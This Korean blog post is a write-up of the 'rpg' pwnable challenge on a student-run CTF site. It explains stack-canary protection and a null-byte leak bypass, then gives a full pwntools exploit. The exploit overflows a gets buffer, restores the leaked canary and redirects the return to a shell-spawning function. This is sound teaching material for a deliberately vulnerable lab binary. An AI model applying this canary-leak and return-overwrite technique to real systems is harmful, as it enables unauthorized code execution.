GgangCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는
http://123.143.18.212:4000/입니다.
저희 학교 과(동아리)에서 운영중인 사이트이므로 많은 분들이 방문해서 문제 풀어보시길 바랍니다~!!
정말 재밌는 문제들 많습니다 :)
오늘 풀어볼 문제는 Ggang CTF에 있는 포너블 분야의 문제로
rpg 문제입니다.
문제 풀이 전 필요한 개념
그동안 풀었던 대부분의 포너블 문제는 BOF를 일으켜,
ret 부분을 원하는 주소로 바꾸는 방식을 많이 사용했는데 이러한 부분을 막고자
도입된 보안 기법이 있습니다.
바로, Canary 기법입니다.
(새 이름을 따서 지어진 이름이라고 하네요..!)
Canary 기법이 적용된 스택 구조를 보면,
---------------
buf
---------------
Canary
---------------
sfp
---------------
ret
입니다.
간단하게 설명드리면 함수 프롤로그와 에필로그에 추가되는 부분이 생기는데,
프롤로그 이후에 Canary 값을 가져와 rax에 저장합니다.
에필로그에 들어가기 전에 stack_chk_fail 함수를 통해서 Canary 값이 변조되었는지 확인합니다.
즉, buf와 sfp 사이에 Canary 값이 추가되는데, 매번 무작위 값이 부여되고
종료되기 전에 Canary 값이 변조되었는지 확인하는 과정을 거칩니다.
기존 방식처럼 페이로드를 작성할 경우, Canary 변조가 감지되어
성공시킬 수 없습니다.
이를 우회하기 위한 방법이 일반적으로 두 가지가 있지만,
오늘은 첫 번째 방법만 간략하게 설명하겠습니다.
Canary 값에는 7바이트가 무작위로 주어지고 하위 1바이트는 무조건 \x00이 들어갑니다.
이러한 점을 이용해서
Canary의 \x00 까지 덮어씌우면 NULL이 사라져서, buf를 출력할 때 Canary 값이 같이 출력됩니다.
그래서 그 값을 참고해서 알맞은 Canary값을 넣어 변조시키지 않을 수 있습니다.
자, 그러면 문제 풀이를 시작하겠습니다.
실행 파일과 접속 주소를 알려줍니다.
해당 실행 파일을 다운 받아서 보안 기법부터 봅시다.
Canary와 NX-bit 보안 기법이 적용된 것을 알 수 있습니다.
코드 분석
그러면, IDA Pro로 열어봅시다.
우선, v6은 canary가 저장된 값임을 알 수 있습니다.
이름을 입력받고, 다시 이름을 출력해주며,
(buf 사이즈 0x20 보다 더 큰 0x28를 입력 받을 수 있어 BOF 발생 가능)
menu 함수를 통해서 선택지가 주어지면,
v3로 입력을 받아 3번은 종료,
1번은 kill monster 함수
2번은 buy_spell 함수를 실행하는 것을 알 수 있습니다.
menu 함수는
1, 2, 3 선택지와 돈을 출력해주며, 동일한 Canary 값을 사용하는 것을 알 수 있습니다.
kill_monster 함수는
돈을 1씩 올려주는 함수입니다.
buy_spell 함수는
Tell your (fake?) spell ~ 을 출력하고 gets로 입력받습니다.
gets이므로 BOF 발생가능
여기서 왜 fake 인가 했더니 함수 목록에서 추가적인 함수를 찾을 수 있었습니다.
쉘을 딸 수 있는 system 함수가 들어있는 magic_spell 함수가 존재합니다.
그래서 fake spell이라고 표현한 것 같습니다. 진짜 주문은 magic_spell 함수이니까요
페이로드 구상
전체적으로 보고 나니 어떻게 해야 할지 감이 올겁니다.
우선, 간단하게 보면
ret에 magic_spell 함수를 넣어 실행시키면 해결됩니다.
다만 그 과정이 중요하죠.
바로 Canary 값을 변조시키지 않아야 합니다.
운이 좋게도 hero 이름을 입력 받고 이름을 출력해줍니다.
즉,
Canary의 \x00 부분을 아무 값으로 바꿔 이름이 출력될 때 Canary 값이 같이 출력되게 할 수 있습니다.
그렇게 알게 된 Canary 값을 기반으로
메뉴 2번 buy_spell 함수를 실행시켜 Canary를 변조시키지 않고 ret에 magic_spell 주소를 넣어주면
쉘을 딸 수 있을겁니다.
(magic_spell 주소: 0x40127B)
그러면, 페이로드를 이제 작성해봅시다.
from pwn import*
p = remote("123.143.18.212", 50002)
#context.log_level = "debug"
e = ELF("./rpg")
magic_spell = 0x40127b
canary_get = "a"*24 + "a" #canary 널 영역 침범
p.send(canary_get)
p.recvuntil("a"*25) # 필요없는 값 제외하고
canary_leak = u64("\x00" + p.recv(7)) # Canary 값 획득
p.sendline("2") # 2번 메뉴 선택
payload = "a"*8 + p64(canary_leak) + "b"*8 + p64(magic_spell)
p.sendline(payload)
p.sendline("/bin/sh") # magic_spell 함수 실행 이후 "/bin/sh" 입력
p.interactive()
앞서 말한 것처럼 Canary 널 영역을 침범해 Canary 값을 Leak합니다.
얻은 Canary 값을 기반으로
메뉴 2번을 실행해서
8바이트 더미로 채우고 Canary 부분은 실제 Canary 값을 넣고,
sfp 8바이트 더미로 채우고,
ret은 magic_spell 함수 주소로 채웁니다.
그러면 magic_spell 함수가 실행되어 "/bin/sh"를 입력하면 쉘을 딸 수 있게 됩니다.
해당 페이로드를 실행시키면 다음과 같이 플래그를 얻을 수 있습니다.
아주 기초적인 Canary 우회 문제였습니다.
'Wargame > Pwnable' 카테고리의 다른 글
[포너블] Ggang CTF korean_wizard 문제 풀이 | magic gadget, One-gadget 사용, main으로 돌아가기 (4) | 2021.01.29 |
---|---|
[포너블] Ggang CTF bounceball 문제 풀이 | read 함수의 이해, 64비트 문제 (0) | 2021.01.28 |
[포너블] HackCTF RTC 문제 풀이 | RTC 기법 return to csu (0) | 2021.01.27 |
[포너블] Ggang CTF babyrop 문제 풀이 | 64비트 ROP, libc가 주어지지 않았을 때 (2) | 2021.01.26 |
[포너블] HackCTF RTL_CORE 문제풀이 | libc base leak, RTL (0) | 2021.01.25 |